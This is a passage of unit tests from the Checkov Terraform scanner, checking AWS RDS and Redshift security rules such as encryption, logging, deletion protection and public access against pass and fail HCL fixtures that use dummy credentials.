self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSClusterLogging.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSClusterLogging import check from checkov.terraform.runner import Runner class TestRDSClusterLogging(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_RDSClusterLogging" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_rds_cluster.pass", } failing_resources = { "aws_rds_cluster.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSClusterSnapshotEncrypted.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.RDSClusterSnapshotEncrypted import check from checkov.common.models.enums import CheckResult class TestRDSClusterSnapshotEncrypted(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_db_cluster_snapshot" "example" { db_cluster_identifier = aws_rds_cluster.example.id db_cluster_snapshot_identifier = "resourcetestsnapshot1234" } """) resource_conf = hcl_res['resource'][0]['aws_db_cluster_snapshot']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "aws_db_cluster_snapshot" "example" { db_cluster_identifier = aws_rds_cluster.example.id db_cluster_snapshot_identifier = "resourcetestsnapshot1234" storage_encrypted = false } """) resource_conf = hcl_res['resource'][0]['aws_db_cluster_snapshot']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "aws_db_cluster_snapshot" "example" { db_cluster_identifier = aws_rds_cluster.example.id db_cluster_snapshot_identifier = "resourcetestsnapshot1234" storage_encrypted = true } """) resource_conf = hcl_res['resource'][0]['aws_db_cluster_snapshot']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSDeletionProtection.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.RDSDeletionProtection import check from checkov.common.models.enums import CheckResult class TestRDSDeletionProtection(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_rds_cluster" "default" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" deletion_protection = false } """) resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_missing_attribute(self): hcl_res = hcl2.loads(""" resource "aws_rds_cluster" "default" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" } """) resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_rds_cluster" "default" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" deletion_protection = true } """) resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSEncryption import check from checkov.terraform.runner import Runner class TestRDSEncryption(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_RDSEncryption" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_db_instance.enabled", } failing_resources = { "aws_db_instance.default", "aws_db_instance.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.RDSEnhancedMonitorEnabled import check from checkov.common.models.enums import CheckResult class TestRDSEnhancedMonitorEnabled(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true monitoring_interval = 0 } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure3(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true monitoring_interval = "5" } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success1(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true monitoring_interval = 5 } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true monitoring_interval = 15 } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSHasSecurityGroup.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSHasSecurityGroup import check from checkov.terraform.runner import Runner class TestRDSHasSecurityGroup(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSHasSecurityGroup" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() failing_resources = { "aws_db_security_group.exists", } failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSIAMAuthentication.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSIAMAuthentication import check from checkov.terraform.runner import Runner class TestRDSIAMAuthentication(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_RDSIAMAuthentication" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_db_instance.enabled_mysql", "aws_db_instance.enabled_postgres", } failing_resources = { "aws_db_instance.default_mysql", "aws_db_instance.default_postgres", "aws_db_instance.disabled_mysql", "aws_db_instance.disabled_postgres", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSInstanceAutoBackupEncryptionWithCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSInstanceAutoBackupEncryptionWithCMK import check from checkov.terraform.runner import Runner class TestRDSInstanceAutoBackupEncryptionWithCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_RDSInstanceAutoBackupEncryptionWithCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_db_instance_automated_backups_replication.pass", } failing_resources = { "aws_db_instance_automated_backups_replication.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSInstanceDeletionProtection.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSInstanceDeletionProtection import check from checkov.terraform.runner import Runner class TestRDSInstanceDeletionProtection(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSInstanceDeletionProtection" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_db_instance.pass", } failing_resources = { "aws_db_instance.fail", "aws_db_instance.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSInstancePerfInsightsEncryptionWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSInstancePerfInsightsEncryptionWithCMK import check from checkov.terraform.runner import Runner class TestRDSInstancePerfInsightsEncryptionWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSInstancePerfInsightsEncryptionWithCMK" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_db_instance.pass", "aws_rds_cluster_instance.pass", "aws_db_instance.pass_empty", "aws_db_instance.pass_insights_disabled", } failing_resources = { "aws_db_instance.fail", "aws_rds_cluster_instance.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSInstancePerformanceInsights.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSInstancePerformanceInsights import check from checkov.terraform.runner import Runner class TestRDSInstancePerformanceInsights(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSInstancePerformanceInsights" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_db_instance.pass", "aws_rds_cluster_instance.pass" } failing_resources = { "aws_db_instance.fail", "aws_db_instance.fail2", "aws_rds_cluster_instance.fail", "aws_rds_cluster_instance.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSMultiAZEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSMultiAZEnabled import check from checkov.terraform.runner import Runner class TestRDSMultiAZEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSMultiAZEnabled" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_db_instance.enabled", } failing_resources = { "aws_db_instance.disabled", "aws_db_instance.default", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSPostgreSQLLogFDWExtension.py ================================================ import unittest from pathlib import Path from checkov.terraform.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSPostgreSQLLogFDWExtension import check class TestRDSPostgreSQLLogFDWExtension(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_RDSPostgreSQLLogFDWExtension" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_db_instance.pass", "aws_rds_cluster.pass", } failing_resources = { "aws_db_instance.fail", "aws_db_instance.fail_old", "aws_rds_cluster.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], len(passing_resources) + len(failing_resources) + 4) # 4 unknown self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSPubliclyAccessible.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.RDSPubliclyAccessible import check from checkov.common.models.enums import CheckResult class TestRDSPubliclyAccessible(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource aws_rds_cluster_instance "rds_cluster_public" { cluster_identifier = "id" instance_class = "foo-bar" publicly_accessible = true } """) resource_conf = hcl_res['resource'][0]['aws_rds_cluster_instance']['rds_cluster_public'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource aws_rds_cluster_instance "rds_cluster_public" { cluster_identifier = "id" instance_class = "foo-bar" publicly_accessible = false } """) resource_conf = hcl_res['resource'][0]['aws_rds_cluster_instance']['rds_cluster_public'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource aws_rds_cluster_instance "rds_cluster_public" { cluster_identifier = "id" instance_class = "foo-bar" } """) resource_conf = hcl_res['resource'][0]['aws_rds_cluster_instance']['rds_cluster_public'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedShiftSSL.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RedShiftSSL import check from checkov.terraform.runner import Runner class TestRedShiftSSL(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedShiftSSL" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_redshift_parameter_group.pass", "aws_redshift_parameter_group.passbutbool", } failing_resources = { "aws_redshift_parameter_group.fail", "aws_redshift_parameter_group.failasfalse" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftClusterAllowVersionUpgrade.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.RedshiftClusterAllowVersionUpgrade import check from checkov.common.models.enums import CheckResult class TestRedshiftClusterAllowVersionUpgrade(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "default" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" # checkov:skip=CKV_SECRET_6 test secret node_type = "dc1.large" cluster_type = "single-node" allow_version_upgrade = false } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success_missing_attribute(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "default" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" node_type = "dc1.large" cluster_type = "single-node" } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "default" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" node_type = "dc1.large" cluster_type = "single-node" allow_version_upgrade = true } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftClusterAutoSnap.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RedshiftClusterAutoSnap import check from checkov.terraform.runner import Runner class TestRedshiftClusterAutoSnap(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedshiftClusterAutoSnap" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_redshift_cluster.pass", "aws_redshift_cluster.pass2", } failing_resources = { "aws_redshift_cluster.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftClusterDatabaseName.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RedshiftClusterDatabaseName import check from checkov.terraform.runner import Runner class TestRedshiftClusterDatabaseName(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedshiftClusterDatabaseName" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_redshift_cluster.pass", } failing_resources = { "aws_redshift_cluster.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftClusterEncryption.py ================================================ import unittest from checkov.terraform.checks.resource.aws.RedshiftClusterEncryption import check from checkov.common.models.enums import CheckResult class TestRedshiftClusterEncryption(unittest.TestCase): def test_failure(self): resource_conf = { "cluster_identifier": ["tf-redshift-cluster"], "database_name": ["mydb"], "master_username": ["foo"], "master_password": ["Mustbe8characters"], "node_type": ["dc1.large"], "cluster_type": ["single-node"] } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = { "cluster_identifier": ["tf-redshift-cluster"], "database_name": ["mydb"], "master_username": ["foo"], "master_password": ["Mustbe8characters"], "node_type": ["dc1.large"], "cluster_type": ["single-node"], "encrypted": [True] } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftClusterKMSKey.py ================================================ import unittest from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.aws.RedshiftClusterKMSKey import check import hcl2 class TestRedshiftClusterKMSKey(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "test" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" # checkov:skip=CKV_SECRET_6 test secret node_type = "dc1.large" cluster_type = "single-node" } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "test" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" node_type = "dc1.large" cluster_type = "single-node" kms_key_id = "someKey" } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftClusterLogging.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.RedshiftClusterLogging import check from checkov.common.models.enums import CheckResult class TestRedshiftClusterLogging(unittest.TestCase): def test_failure_missing_1(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "default" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" # checkov:skip=CKV_SECRET_6 test secret node_type = "dc1.large" cluster_type = "single-node" } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_missing_2(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "default" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" node_type = "dc1.large" cluster_type = "single-node" logging { somethingelse = "true" } } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_false(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "default" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" node_type = "dc1.large" cluster_type = "single-node" logging { enable = 0 } } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "default" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" node_type = "dc1.large" cluster_type = "single-node" logging { enable = 1 } } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftClusterPubliclyAccessible.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.RedshitClusterPubliclyAvailable import check from checkov.common.models.enums import CheckResult class TestRedshitClusterPubliclyAccessible(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "public" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" # checkov:skip=CKV_SECRET_6 test secret node_type = "dc1.large" publicly_accessible = true } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['public'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "public" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" node_type = "dc1.large" } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['public'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_redshift_cluster" "private" { cluster_identifier = "tf-redshift-cluster" database_name = "mydb" master_username = "foo" master_password = "Mustbe8characters" node_type = "dc1.large" publicly_accessible = false } """) resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['private'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftClusterUseEnhancedVPCRouting.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RedshiftClusterUseEnhancedVPCRouting import check from checkov.terraform.runner import Runner class TestRedshiftClusterUseEnhancedVPCRouting(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedshiftClusterUseEnhancedVPCRouting" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_redshift_cluster.pass", } failing_resources = { "aws_redshift_cluster.fail", "aws_redshift_cluster.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftClusterWithCommonUsernameAndPublicAccess.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RedshiftClusterWithCommonUsernameAndPublicAccess import check from checkov.terraform.runner import Runner class TestRedshiftClusterWithCommonUsernameAndPublicAccess(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedshiftClusterWithCommonUsernameAndPublicAccess" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_redshift_cluster.pass1", "aws_redshift_cluster.pass2", "aws_redshift_cluster.pass3" } failing_resources = { 